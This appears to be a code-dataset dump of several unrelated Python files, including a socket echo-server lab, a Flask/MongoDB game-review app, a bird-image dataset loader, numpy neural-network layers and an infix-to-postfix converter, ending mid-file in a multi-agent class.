True:\r\n\r\n # Now the server waits for a connection\r\n print('*** Waiting for a connection ***')\r\n # accept() returns an open connection between the server and client, along with the address of the client\r\n connection, client_address = sock.accept()\r\n \r\n try:\r\n print('connection from', client_address)\r\n\r\n # Receive the data in small chunks and retransmit it\r\n while True:\r\n # decode() function returns string object\r\n data = connection.recv(16).decode()\r\n if data:\r\n print('received \"%s\"' % data)\r\n print('sending data back to the client')\r\n # encode() function returns bytes object\r\n connection.sendall(data.encode())\r\n else:\r\n print('no more data from', client_address)\r\n break\r\n \r\n finally:\r\n # Clean up the connection\r\n connection.close()\r\n\r\n# now close the socket\r\nsock.close();","sub_path":"Year2_Sem2/Networking_sem2/lab01server.py","file_name":"lab01server.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"399988703","text":"from datetime import datetime\nfrom typing import List\n\nfrom pymongo.database import Database\n\nfrom server.exceptions import DocumentNotFound\nfrom server.utils.json import ObjectId\n\n\nclass NotificationManager:\n def __init__(self, db: Database):\n self.db = db.get_collection(\"notifications\")\n\n def list_notifications(self, user: ObjectId):\n ret = []\n for doc in self.db.find({\"user\": user}, projection={\"user\": 0}):\n ret.append(doc)\n ret.sort(reverse=True, key=lambda x: x[\"datetime\"])\n return ret\n\n def dismiss_notification(self, user: ObjectId, nid: ObjectId):\n res = self.db.delete_one({\"_id\": nid, \"user\": user})\n if res.deleted_count == 0:\n raise DocumentNotFound\n\n def dismiss_all_notifications(self, user: ObjectId):\n self.db.delete_many({\"user\": user})\n\n def notify_received_invite(\n self, user: ObjectId, project_title: str, project_id: ObjectId\n ):\n \"\"\"\n user received invite to join project\n \"\"\"\n self.db.insert_one(\n {\n \"user\": user,\n \"datetime\": datetime.now(),\n \"type\": \"invite\",\n \"project_title\": project_title,\n \"project_id\": project_id,\n }\n )\n\n def notify_request_to_join(\n self,\n leader: ObjectId,\n user: ObjectId,\n username: str,\n project_title: str,\n project_id: ObjectId,\n ):\n \"\"\"\n leader received request to join project\n \"\"\"\n self.db.insert_one(\n {\n \"user\": leader,\n \"datetime\": datetime.now(),\n \"type\": \"request\",\n \"project_title\": project_title,\n \"project_id\": project_id,\n \"requester\": {\"username\": username, \"id\": user},\n }\n )\n\n def notify_user_joined_project(\n self,\n user: ObjectId,\n username: str,\n project_title: str,\n project_id: ObjectId,\n users: List[ObjectId], # list of users to notify\n ):\n \"\"\"\n user joined project\n \"\"\"\n cur_time = datetime.now()\n\n self.db.insert_many(\n [\n {\n \"user\": member,\n \"datetime\": cur_time,\n \"type\": \"join\",\n \"project_title\": project_title,\n \"project_id\": project_id,\n \"joined_user\": {\"username\": username, \"id\": user},\n }\n for member in users\n ]\n )\n\n def notify_user_left_project(\n self,\n user: ObjectId,\n username: str,\n project_title: str,\n project_id: ObjectId,\n users: List[ObjectId],\n ):\n \"\"\"\n user left project\n \"\"\"\n cur_time = datetime.now()\n\n self.db.insert_many(\n [\n {\n \"user\": member,\n \"datetime\": cur_time,\n \"type\": \"leave\",\n \"project_title\": project_title,\n \"project_id\": project_id,\n \"left_user\": {\"username\": username, \"id\": user},\n }\n for member in users\n ]\n )\n\n def notify_user_kicked(\n self,\n user: ObjectId,\n username: str,\n project_title: str,\n project_id: ObjectId,\n users: List[ObjectId],\n ):\n \"\"\"\n user kicked from project\n \"\"\"\n cur_time = datetime.now()\n\n self.db.insert_many(\n [\n {\n \"user\": member,\n \"datetime\": cur_time,\n \"type\": \"kick\",\n \"project_title\": project_title,\n \"project_id\": project_id,\n \"kicked_user\": {\"username\": username, \"id\": user},\n }\n for member in users\n ]\n )\n\n def notify_project_deleted(self, project_title: str, users: List[ObjectId]):\n \"\"\"\n project deleted\n \"\"\"\n cur_time = datetime.now()\n\n self.db.insert_many(\n [\n {\n \"user\": member,\n \"datetime\": cur_time,\n \"type\": \"project_delete\",\n \"project_title\": project_title,\n }\n for member in users\n ]\n )\n","sub_path":"server/managers/notification_manager.py","file_name":"notification_manager.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"367745865","text":"\"\"\" CUB-200-2011 (Bird) Dataset\nCreated: Oct 11,2019 - Yuchong Gu\nRevised: Oct 11,2019 - Yuchong Gu\n\"\"\"\nimport os\nimport torch\nfrom PIL import Image\nfrom torch.utils.data import Dataset\nfrom collections import OrderedDict\n\nclass BirdDataset(Dataset):\n \"\"\"\n # Description:\n Dataset for retrieving CUB-200-2011 images and labels\n # Member Functions:\n __init__(self, phase, resize): initializes a dataset\n phase: a string in ['train', 'val', 'test']\n resize: output shape/size of an image\n __getitem__(self, item): returns an image\n item: the idex of image in the whole dataset\n __len__(self): returns the length of dataset\n \"\"\"\n\n def __init__(self, data_dir, transform, phase='train'):\n self.data_dir = data_dir\n\n self.image_path = OrderedDict()\n self.labels_dict = {}\n self.labels = []\n\n assert phase in ['train', 'val', 'test']\n self.phase = phase\n self.image_id = []\n self.num_classes = 200\n\n # get image path from images.txt\n with open(os.path.join(self.data_dir, 'images.txt')) as f:\n for line in f.readlines():\n id, path = line.strip().split(' ')\n self.image_path[id] = path\n\n # get image label from image_class_labels.txt\n with open(os.path.join(self.data_dir, 'image_class_labels.txt')) as f:\n for line in f.readlines():\n id, label = line.strip().split(' ')\n self.labels_dict[id] = int(label) - 1\n\n # get train/test image id from train_test_split.txt\n with open(os.path.join(self.data_dir, 'train_test_split.txt')) as f:\n for line in f.readlines():\n image_id, is_training_image = line.strip().split(' ')\n is_training_image = int(is_training_image)\n\n if self.phase == 'train' and is_training_image:\n self.image_id.append(image_id)\n self.labels.append(self.labels_dict[image_id])\n if self.phase in ('val', 'test') and not is_training_image:\n self.image_id.append(image_id)\n self.labels.append(self.labels_dict[image_id])\n\n # transform\n self.transform = transform\n\n def __getitem__(self, item):\n # get image id\n image_id = self.image_id[item]\n\n # image\n image = Image.open(os.path.join(self.data_dir, 'images', self.image_path[image_id])).convert('RGB') # (C, H, W)\n image = self.transform(image)\n\n label = self.labels[item] # self.labels[image_id] \n label = torch.tensor(label, dtype=torch.long)\n\n # return image and label\n return image, label, item # count begin from zero\n\n def __len__(self):\n return len(self.image_id)\n\n\n# if __name__ == '__main__':\n# ds = BirdDataset('train')\n# print(len(ds))\n# for i in range(0, 10):\n# image, label = ds[i]\n# print(image.shape, label)","sub_path":"data_loader/dataset_birds.py","file_name":"dataset_birds.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"442307159","text":"import os\nfrom flask import (\n Flask, flash, render_template, redirect, request, session, url_for)\nfrom flask_pymongo import PyMongo\nfrom bson.objectid import ObjectId\nfrom werkzeug.security import generate_password_hash, check_password_hash\nif os.path.exists(\"env.py\"):\n import env\n\n\napp = Flask(__name__)\n\napp.config[\"MONGO_DBNAME\"] = os.environ.get(\"MONGO_DBNAME\")\napp.config[\"MONGO_URI\"] = os.environ.get(\"MONGO_URI\")\napp.secret_key = os.environ.get(\"SECRET_KEY\")\n\nmongo = PyMongo(app)\n\n\n# Landing/homepage function\n@app.route(\"/\")\n@app.route(\"/home\")\ndef home():\n \"\"\"\n Finds all platforms in the db and sorts them in a list by name,\n alphabetically to display them in a carousel\n \"\"\"\n platforms = list(mongo.db.platforms.find().sort(\"platform\", 1))\n return render_template(\"home.html\", platforms=platforms)\n\n\n# Search functionality\n@app.route(\"/search_reviews\", methods=[\"GET\", \"POST\"])\ndef search_reviews():\n \"\"\"\n Performs a text index search on the reviews collection using the\n query variable\n \"\"\"\n query = request.form.get(\"query\")\n reviews = list(mongo.db.reviews.find({\"$text\": {\"$search\": query}}))\n return render_template(\"reviews.html\", reviews=reviews)\n\n\n@app.route(\"/search_games\", methods=[\"GET\", \"POST\"])\ndef search_games():\n \"\"\"\n Performs a text index search on the games collection using the\n query variable\n \"\"\"\n query = request.form.get(\"query-games\")\n games = list(mongo.db.games.find({\"$text\": {\"$search\": query}}))\n return render_template(\"games.html\", games=games)\n\n\n# Account registration function\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n if request.method == \"POST\":\n # Check if username already exists in db\n existing_user = mongo.db.users.find_one(\n {\"username\": request.form.get(\"username\").lower()})\n\n if existing_user:\n flash(\"Username already exists\")\n return redirect(url_for(\"register\"))\n\n register = {\n \"username\": request.form.get(\"username\").lower(),\n \"password\": generate_password_hash(request.form.get(\"password\"))\n }\n mongo.db.users.insert_one(register)\n\n # put the new user into 'session' cookie\n session[\"user\"] = request.form.get(\"username\").lower()\n flash(\"Account Registered!\")\n return redirect(url_for(\"account\", username=session[\"user\"]))\n return render_template(\"register.html\")\n\n\n# Login functionality\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"POST\":\n # check if username exists in db\n existing_user = mongo.db.users.find_one(\n {\"username\": request.form.get(\"username\").lower()})\n\n if existing_user:\n # ensure hashed password matches user input\n if check_password_hash(\n existing_user[\"password\"], request.form.get(\"password\")):\n session[\"user\"] = request.form.get(\"username\").lower()\n flash(\"Welcome, {}\".format(\n request.form.get(\"username\")))\n return redirect(url_for(\n \"account\", username=session[\"user\"]))\n else:\n # invalid password match\n flash(\"Incorrect Username and/or Password\")\n return redirect(url_for(\"login\"))\n\n else:\n # username doesn't exist\n flash(\"Incorrect Username and/or Password\")\n return redirect(url_for(\"login\"))\n\n return render_template(\"login.html\")\n\n\n@app.route(\"/account/\", methods=[\"GET\", \"POST\"])\ndef account(username):\n \"\"\"grab the session user's username from db\"\"\"\n username = mongo.db.users.find_one(\n {\"username\": session[\"user\"]})[\"username\"]\n\n if session[\"user\"]:\n return render_template(\"account.html\", username=username)\n\n return redirect(url_for(\"login\"))\n\n\n# Logout function\n@app.route(\"/logout\")\ndef logout():\n \"\"\"remove user from session cookies\"\"\"\n flash(\"You are now logged out\")\n session.pop(\"user\")\n return redirect(url_for(\"login\"))\n\n\n@app.route(\"/get_reviews\")\ndef get_reviews():\n \"\"\"\n Finds all reviews in db and sorts them chronologically\n with the most recent reviews displayed first based on\n datetime info stored in the id\n \"\"\"\n reviews = list(mongo.db.reviews.find().sort(\"_id\", -1))\n return render_template(\"reviews.html\", reviews=reviews)\n\n\n@app.route(\"/add_review\", methods=[\"GET\", \"POST\"])\ndef add_review():\n \"\"\"\n Creates dictionary for form and inserts user inputs\n into db\n \"\"\"\n if request.method == \"POST\":\n review = {\n \"title\": request.form.get(\"title\"),\n \"platform\": request.form.get(\"platform\"),\n \"review\": request.form.get(\"review\"),\n \"completed\": request.form.get(\"completed\"),\n \"reviewed_by\": session[\"user\"]\n }\n mongo.db.reviews.insert_one(review)\n flash(\"Review Added Successfully!\")\n return redirect(url_for(\"get_reviews\"))\n\n # Finds games and platforms in db and sorts them alphabetically\n games = mongo.db.games.find().sort(\"title\", 1)\n platforms = mongo.db.platforms.find().sort(\"platform\", 1)\n return render_template(\n \"add_review.html\", games=games, platforms=platforms)\n\n\n@app.route(\"/edit_review/\", methods=[\"GET\", \"POST\"])\ndef edit_review(review_id):\n \"\"\"\n Finds review by id and db is updated with user form input\n \"\"\"\n if request.method == \"POST\":\n submit = {\n \"title\": request.form.get(\"title\"),\n \"platform\": request.form.get(\"platform\"),\n \"review\": request.form.get(\"review\"),\n \"completed\": request.form.get(\"completed\"),\n \"reviewed_by\": session[\"user\"]\n }\n mongo.db.reviews.update({\"_id\": ObjectId(review_id)}, submit)\n flash(\"Review Changes Saved!\")\n return redirect(url_for(\"my_reviews\"))\n\n review = mongo.db.reviews.find_one({\"_id\": ObjectId(review_id)})\n games = mongo.db.games.find().sort(\"title\", 1)\n platforms = mongo.db.platforms.find().sort(\"platform\", 1)\n return render_template(\"edit_review.html\",\n review=review,\n games=games,\n platforms=platforms)\n\n\n@app.route(\"/delete_review/\")\ndef delete_review(review_id):\n \"\"\"\n Finds review by id and removes it from db\n \"\"\"\n mongo.db.reviews.remove({\"_id\": ObjectId(review_id)})\n flash(\"Review Deleted Successfully\")\n return redirect(url_for(\"get_reviews\"))\n\n\n@app.route(\"/my_reviews\")\ndef my_reviews():\n \"\"\"\n Finds reviews added by the session user\n and sorts them by most recent\n \"\"\"\n reviews = list(mongo.db.reviews.find(\n {\"reviewed_by\": session[\"user\"]}).sort(\"_id\", -1))\n return render_template(\"my_reviews.html\", reviews=reviews)\n\n\n@app.route(\"/get_games\")\ndef get_games():\n \"\"\"\n Finds all games in db and sorts them alphabetically\n by title\n \"\"\"\n games = list(mongo.db.games.find().sort(\"title\", 1))\n return render_template(\"games.html\", games=games)\n\n\n@app.route(\"/add_game\", methods=[\"GET\", \"POST\"])\ndef add_game():\n \"\"\"\n Creates dictionary for form and inserts user inputted\n new game into db\n \"\"\"\n if request.method == \"POST\":\n game = {\n \"title\": request.form.get(\"title\"),\n \"img_url\": request.form.get(\"img_url\"),\n \"description\": request.form.get(\"description\"),\n \"genre\": request.form.get(\"genre\"),\n \"developer\": request.form.get(\"developer\"),\n \"platform\": request.form.get(\"platform\"),\n \"year\": request.form.get(\"year\"),\n \"added_by\": session[\"user\"]\n }\n mongo.db.games.insert_one(game)\n flash(\"Game Added Successfully!\")\n return redirect(url_for(\"get_games\"))\n\n genres = mongo.db.genres.find().sort(\"genre\", 1)\n platforms = mongo.db.platforms.find().sort(\"platform\", 1)\n return render_template(\"add_game.html\", genres=genres, platforms=platforms)\n\n\n@app.route(\"/edit_game/\", methods=[\"GET\", \"POST\"])\ndef edit_game(game_id):\n \"\"\"\n Finds game by id and db is updated with user form input\n \"\"\"\n if request.method == \"POST\":\n submit = {\n \"title\": request.form.get(\"title\"),\n \"img_url\": request.form.get(\"img_url\"),\n \"description\": request.form.get(\"description\"),\n \"genre\": request.form.get(\"genre\"),\n \"developer\": request.form.get(\"developer\"),\n \"platform\": request.form.get(\"platform\"),\n \"year\": request.form.get(\"year\"),\n \"added_by\": session.get[\"user\"]\n }\n mongo.db.games.update({\"_id\": ObjectId(game_id)}, submit)\n flash(\"Game Changes Saved!\")\n return redirect(url_for(\"get_games\"))\n\n game = mongo.db.games.find_one({\"_id\": ObjectId(game_id)})\n genres = mongo.db.genres.find().sort(\"title\", 1)\n platforms = mongo.db.platforms.find().sort(\"platform\", 1)\n return render_template(\"edit_game.html\",\n game=game,\n genres=genres,\n platforms=platforms)\n\n\n@app.route(\"/delete_game/\")\ndef delete_game(game_id):\n \"\"\"\n Finds game by id and removes it from db\n \"\"\"\n mongo.db.games.remove({\"_id\": ObjectId(game_id)})\n flash(\"Game Deleted Successfully\")\n return redirect(url_for(\"get_games\"))\n\n\n@app.route(\"/find_game/\", methods=[\"GET\", \"POST\"])\ndef find_game(title):\n \"\"\"\n Returns a list of reviews that contain the specific game name\n \"\"\"\n reviews = list(mongo.db.reviews.find({\"title\": title}))\n return render_template(\"reviews.html\", reviews=reviews)\n\n\n@app.route(\"/get_genres\")\ndef get_genres():\n \"\"\"\n Finds all genres in db and sorts them alphabetically\n by name\n \"\"\"\n genres = list(mongo.db.genres.find().sort(\"genre\", 1))\n return render_template(\"genres.html\", genres=genres)\n\n\n@app.route(\"/add_genre\", methods=[\"GET\", \"POST\"])\ndef add_genre():\n \"\"\"\n Creates dictionary for form and inserts user inputted\n new genre into db\n \"\"\"\n if request.method == \"POST\":\n genre = {\n \"genre\": request.form.get(\"genre\")\n }\n mongo.db.genres.insert_one(genre)\n flash(\"Genre Added Successfully!\")\n return redirect(url_for(\"get_genres\"))\n\n return render_template(\"add_genre.html\")\n\n\n@app.route(\"/edit_genre/<genre_id>\", methods=[\"GET\", \"POST\"])\ndef edit_genre(genre_id):\n \"\"\"\n Finds genre by id and db is updated with user form input\n \"\"\"\n if request.method == \"POST\":\n submit = {\n \"genre\": request.form.get(\"genre\")\n }\n mongo.db.genres.update({\"_id\": ObjectId(genre_id)}, submit)\n flash(\"Genre Changes Successfully!\")\n return redirect(url_for(\"get_genres\"))\n\n\n@app.route(\"/delete_genre/<genre_id>\")\ndef delete_genre(genre_id):\n \"\"\"\n Finds genre by id and removes it from db\n \"\"\"\n mongo.db.genres.remove({\"_id\": ObjectId(genre_id)})\n flash(\"Genre Deleted Successfully\")\n return redirect(url_for(\"get_genres\"))\n\n\n@app.route(\"/get_platforms\")\ndef get_platforms():\n \"\"\"\n Finds all platforms in db and sorts them alphabetically\n by name\n \"\"\"\n platforms = list(mongo.db.platforms.find().sort(\"platform\", 1))\n return render_template(\"platforms.html\", platforms=platforms)\n\n\n@app.route(\"/add_platform\", methods=[\"GET\", \"POST\"])\ndef add_platform():\n \"\"\"\n Creates dictionary for form and inserts user inputted\n new platform into db\n \"\"\"\n if request.method == \"POST\":\n platform = {\n \"platform\": request.form.get(\"platform\"),\n \"img_url\": request.form.get(\"img_url\")\n }\n mongo.db.platforms.insert_one(platform)\n flash(\"Platform Added Successfully!\")\n return redirect(url_for(\"get_platforms\"))\n\n return render_template(\"add_platform.html\")\n\n\n@app.route(\"/edit_platform/<platform_id>\", methods=[\"GET\", \"POST\"])\ndef edit_platform(platform_id):\n \"\"\"\n Finds platform by id and db is updated with user form input\n \"\"\"\n if request.method == \"POST\":\n submit = {\n \"platform\": request.form.get(\"platform\"),\n \"img_url\": request.form.get(\"img_url\")\n }\n mongo.db.platforms.update({\"_id\": ObjectId(platform_id)}, submit)\n flash(\"Platform Edited Successfully!\")\n return redirect(url_for(\"get_platforms\"))\n\n\n@app.route(\"/delete_platform/<platform_id>\")\ndef delete_platform(platform_id):\n \"\"\"\n Finds platform by id and removes it from db\n \"\"\"\n mongo.db.platforms.remove({\"_id\": ObjectId(platform_id)})\n flash(\"Genre Deleted Successfully\")\n return redirect(url_for(\"get_platforms\"))\n\n\n@app.route(\"/find_platform/<platform>\", methods=[\"GET\", \"POST\"])\ndef find_platform(platform):\n \"\"\"\n Returns a list of reviews that contain the specific platform name\n \"\"\"\n reviews = list(mongo.db.reviews.find({\"platform\": platform}))\n return render_template(\"reviews.html\", reviews=reviews)\n\n\n# 404 page function\n@app.errorhandler(404)\ndef page_not_found(error):\n \"\"\"the 404 status is set explicitly\"\"\"\n return render_template('404.html', title='404'), 404\n\n\n# 500 page function\n@app.errorhandler(500)\ndef internal_server(error):\n \"\"\"the 500 status is set explicitly\"\"\"\n return render_template('500.html', title='500'), 500\n\n\nif __name__ == \"__main__\":\n app.run(host=os.environ.get(\"IP\"),\n port=int(os.environ.get(\"PORT\")),\n debug=False)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"128264925","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\napprox_loss_diff = np.load('iris_approx_loss.npy')\nexact_loss_diff = np.load('iris_exact_loss.npy')\nfig, ax1 = plt.subplots()\nax2 = ax1.twinx()\nexact = ax1.plot(np.arange(len(approx_loss_diff)), exact_loss_diff, label='Exact Loss Differences', linewidth=2)\napprox = ax2.plot(np.arange(len(approx_loss_diff)), approx_loss_diff, 'tab:orange', label='Approximate Loss Differences',linewidth=2)\nax1.set_xlabel('Training Instance Loss Rank')\nax1.set_ylabel('Loss Differences')\nlns = exact + approx\nlabs = [l.get_label() for l in lns]\nax1.legend(lns, labs, loc=0)\nplt.show()","sub_path":"IRIS/layer_wise_l2/plot_loss.py","file_name":"plot_loss.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"42417330","text":"class Solution:\n def toLowerCase(self, str):\n \"\"\"\n :type str: str\n :rtype: str\n \"\"\"\n rt = []\n step = ord('A') - ord('a')\n for ch in str:\n if ord('A') <= ord(ch) <= ord('Z'):\n rt.append(chr(ord(ch) - step))\n else:\n rt.append(ch)\n return ''.join(rt)\n","sub_path":"src/709_To_Lower_Case.py","file_name":"709_To_Lower_Case.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"123137301","text":"# -*- coding:utf-8 -*-\nimport time\n\n''' \n 这个算法是实现将一个运算表达式转换为后缀表达式\n \n'''\n\n\nclass Stack():\n def __init__(self):\n self.storge = []\n \n def push(self,value):\n self.storge.append(value)\n\n def pop(self):\n return self.storge.pop()\n \n def peek(self):\n return self.storge[len(self.storge) - 1]\n\n def isEmpty(self):\n if len(self.storge) == 0:\n return True\n return False\n\n\ndef process_expression(expression):\n expression = expression.split(\" \")\n finall_result = []\n ops = Stack()\n priosity = {\n '(':1,\n ')':1,\n '+':2,\n '-':2,\n '*':3,\n '/':3\n }\n for char in expression:\n if char in \"QWERTYUIOPLKJHGFDSAZXCVBNM\" or char in \"0123456789\" :\n finall_result.append(char)\n elif char == '(':\n ops.push(char)\n pass\n elif char == ')':\n top = ops.pop()\n while top != '(':\n finall_result.append(top)\n top = ops.pop() \n else:\n while not ops.isEmpty() and priosity[char]<= priosity[ops.peek()]:\n finall_result.append(ops.pop())\n ops.push(char)\n if not ops.isEmpty():\n finall_result.append(ops.pop())\n return \" \".join(finall_result)\n\ndef main():\n start = time.time()\n process_expression(\"( 2 * 6 ) / ( 8 + 7 ) * ( 9 + 3 )\")\n end = time.time()\n print(f\"COS : {end-start}\")\n\nif __name__ == '__main__':\n main()","sub_path":"Easy/Python/stack_apply_one.py","file_name":"stack_apply_one.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"460020665","text":"# coding: utf-8\nfrom common.np import *\nfrom common.functions import *\nfrom common.util import im2col, col2im\n\n\nclass Relu:\n def __init__(self):\n self.mask=None\n self.params,self.grads=[],[]\n \n def forward(self,x):\n self.mask=(x>0)\n out=x*self.mask\n return out\n \n def backward(self,dout):\n dx=dout*self.mask\n return dx\n\n\nclass Sigmoid:\n def __init__(self):\n self.params,self.grads=[],[]\n self.out = None\n\n def forward(self, x):\n out = sigmoid(x)\n self.out = out\n return out\n\n def backward(self, dout):\n dx = dout * (1.0 - self.out) * self.out\n\n return dx\n \n\nclass Affine:\n def __init__(self,W,b):\n self.params=[W,b]\n self.grads=[np.zeros_like(W),np.zeros_like(b)]\n self.x=None\n\n def forward(self,x):\n W,b=self.params\n out=np.dot(x,W)+b\n self.x=x\n return out\n\n def backward(self,dout):\n W,b=self.params\n db=np.sum(dout,axis=0)\n dx=np.dot(dout,W.T)\n dW=np.dot(self.x.T,dout)\n self.grads[0][...]=dW\n self.grads[1][...]=db\n return dx\n\n\nclass BatchNormalization:\n \"\"\"\n http://arxiv.org/abs/1502.03167\n \"\"\"\n def __init__(self, gamma, beta, momentum=0.9, running_mean=None, running_var=None):\n self.gamma = gamma\n self.beta = beta\n self.momentum = momentum\n self.input_shape = None # Conv層の場合は4次元、全結合層の場合は2次元 \n\n # テスト時に使用する平均と分散\n self.running_mean = running_mean\n self.running_var = running_var \n \n # backward時に使用する中間データ\n self.batch_size = None\n self.xc = None\n self.std = None\n self.dgamma = None\n self.dbeta = None\n self.params=[self.gamma,self.beta]\n self.grads=[np.zeros_like(self.gamma).astype('f'),np.zeros_like(self.beta).astype('f')]\n\n def forward(self, x, train_flg=True):\n self.input_shape = x.shape\n if x.ndim != 2:\n N, C, H, W = x.shape\n x = x.reshape(N, -1)\n\n out = self.__forward(x, train_flg)\n \n return out.reshape(*self.input_shape)\n \n def __forward(self, x, train_flg):\n if self.running_mean is None:\n N, D = x.shape\n self.running_mean = np.zeros(D)\n self.running_var = np.zeros(D)\n \n if train_flg:\n mu = x.mean(axis=0)\n xc = x - mu\n var = np.mean(xc**2, axis=0)\n std = np.sqrt(var + 10e-7)\n xn = xc / std\n \n self.batch_size = x.shape[0]\n self.xc = xc\n self.xn = xn\n self.std = std\n self.running_mean = self.momentum * self.running_mean + (1-self.momentum) * mu\n self.running_var = self.momentum * self.running_var + (1-self.momentum) * var \n else:\n xc = x - self.running_mean\n xn = xc / ((np.sqrt(self.running_var + 10e-7)))\n \n out = self.gamma * xn + self.beta \n return out\n\n def backward(self, dout):\n if dout.ndim != 2:\n N, C, H, W = dout.shape\n dout = dout.reshape(N, -1)\n\n dx = self.__backward(dout)\n\n dx = dx.reshape(*self.input_shape)\n return dx\n\n def __backward(self, dout):\n dbeta = dout.sum(axis=0)\n dgamma = np.sum(self.xn * dout, axis=0)\n dxn = self.gamma * dout\n dxc = dxn / self.std\n dstd = -np.sum((dxn * self.xc) / (self.std * self.std), axis=0)\n dvar = 0.5 * dstd / self.std\n dxc += (2.0 / self.batch_size) * self.xc * dvar\n dmu = np.sum(dxc, axis=0)\n dx = dxc - dmu / self.batch_size\n \n self.dgamma = dgamma\n self.dbeta = dbeta\n self.grads[0][...]=self.dgamma\n self.grads[1][...]=self.dbeta\n \n return dx\n\n\nclass GAP:\n def __init__(self):\n self.cache=None\n self.params,self.grads=[],[]\n\n def forward(self,x):\n N,C,H,W=x.shape\n x=x.reshape(N,C,-1) #(N,C,H*W)\n out=np.mean(x,axis=-1) #(N,C)\n self.cache=(N,C,H,W)\n\n return out\n\n def backward(self,dout):\n N,C,H,W=self.cache\n dout=1/(H*W)*dout\n dx=dout.reshape(N,C,1).repeat(H*W,axis=2)\n dx=dx.reshape(N,C,H,-1)\n\n return dx\n \n\nclass MSE:\n def __init__(self):\n self.cache=None\n self.params,self.grads=[],[]\n\n def forward(self,x,t):\n batch_size=x.shape[0]\n loss=0.5*np.sum((x-t)**2)/batch_size\n self.cache=(x,t)\n # print('loss',loss)\n return loss\n\n def backward(self,dout=1):\n x,t=self.cache\n batch_size=x.shape[0]\n dout/=batch_size\n dx=dout*(x-t)\n # print('dx',dx)\n return dx\n \n \nclass Tanh:\n def __init__(self):\n self.params,self.grads=[],[]\n self.out=None\n\n def forward(self,x):\n out=np.tanh(x)\n self.out=out\n # print(out)\n return out\n\n def backward(self,dout):\n dx=dout*(1.0-self.out)**2\n # print(dx)\n return dx\n \n\nclass Convolution:\n def __init__(self,W,b,pad,stride):\n self.params=[W,b]\n self.grads=[np.zeros_like(W),np.zeros_like(b)]\n self.pad=pad\n self.stride=stride\n self.x=None\n self.col=None\n self.col_W=None\n \n def forward(self,x):\n N,C,H,W=x.shape\n FN,C,FH,FW=self.params[0].shape\n \n out_h=(H+2*self.pad-FH)//self.stride+1\n out_w=(W+2*self.pad-FW)//self.stride+1\n \n col=im2col(x,FH,FW,self.stride,self.pad) #col(N*out_h*out_w,C*FH*FW)\n col_W=self.params[0].reshape(FN,-1).T #col_W(FN,C*FH*FW)\n \n out=np.dot(col,col_W)+self.params[1] #dot((N*out_h*out_w,C*FH*FW),(C*FH*FW,FN))→(N*out_h*out_w,FN)\n out=out.reshape(N,out_h,out_w,-1).transpose(0,3,1,2) #(N*out_h*out_w,FN)→(N,FN,out_h,out_w)\n \n self.x=x\n self.col=col\n self.col_W=col_W\n \n return out\n \n def backward(self,dout):\n FN,C,FH,FW=self.params[0].shape\n dout=dout.transpose(0,2,3,1).reshape(-1,FN) #(N,FN,out_h,out_w)→(N*out_h*out_w,FN)\n \n db=np.sum(dout,axis=0) #(N*out_h*out_w,FN)→(FN)\n dW=np.dot(self.col.T,dout) #dot((C*FH*FW,N*out_h*out_w),(N*out_h*out_w,FN))→(C*FH*FW,FN)\n dW=dW.reshape(C,FH,FW,-1).transpose(3,0,1,2) #(C*FH*FW,FN)→(FN,C,FH,FW)\n dx=np.dot(dout,self.col_W.T) #dot((N*out_h*out_w,FN),(FN,C*FH*FW))→(N*out_h*out_w,C*FH*FW)\n dx=col2im(dx,self.x.shape,FH,FW,self.stride,self.pad)\n \n self.grads[0][...]=dW\n self.grads[1][...]=db\n \n return dx\n \n\nclass Pooling:\n def __init__(self,pool_h, pool_w, pad=0,stride=2):\n self.pool_h = pool_h\n self.pool_w = pool_w\n self.pad = pad\n self.stride = stride\n \n self.x = None\n self.arg_max = None\n self.params,self.grads=[],[]\n\n def forward(self, x):\n N, C, H, W = x.shape\n out_h = int(1 + (H +2*self.pad - self.pool_h) / self.stride)\n out_w = int(1 + (W +2*self.pad - self.pool_w) / self.stride)\n\n col = im2col(x, self.pool_h, self.pool_w, self.stride, self.pad)\n col = col.reshape(-1, self.pool_h*self.pool_w)\n\n arg_max = np.argmax(col, axis=1)\n out = np.max(col, axis=1)\n out = out.reshape(N, out_h, out_w, C).transpose(0, 3, 1, 2)\n\n self.x = x\n self.arg_max = arg_max\n\n return out\n\n def backward(self, dout):\n dout = dout.transpose(0, 2, 3, 1)\n \n pool_size = self.pool_h * self.pool_w\n dmax = np.zeros((dout.size, pool_size))\n dmax[np.arange(self.arg_max.size), self.arg_max.flatten()] = dout.flatten()\n dmax = dmax.reshape(dout.shape + (pool_size,)) \n \n dcol = dmax.reshape(dmax.shape[0] * dmax.shape[1] * dmax.shape[2], -1)\n dx = col2im(dcol, self.x.shape, self.pool_h, self.pool_w, self.stride, self.pad)\n \n return dx","sub_path":"common/layers_old.py","file_name":"layers_old.py","file_ext":"py","file_size_in_byte":8217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"149063544","text":"import torch\nimport time\nimport numpy as np\nimport os\nimport scipy\n\n\nclass MultiAgentCluster(object):\n \"\"\"docstring for MultiAgentCluster.\"\"\"\n\n def __init__(self, agents, args):\n '''\n Parameters:\n agents: a list of assets.agents.Agent\n args: args\n '''\n super(MultiAgentCluster, self).__init__()\n\n # print('# INFO: [{}][Instantiate Start >>>>]'.format(\n # self.get_log_tag(),\n # ))\n\n self.all_agents = agents\n self.args = args\n\n self.learning_agents = []\n self.playing_agents = []\n\n for agent in self.all_agents:\n if 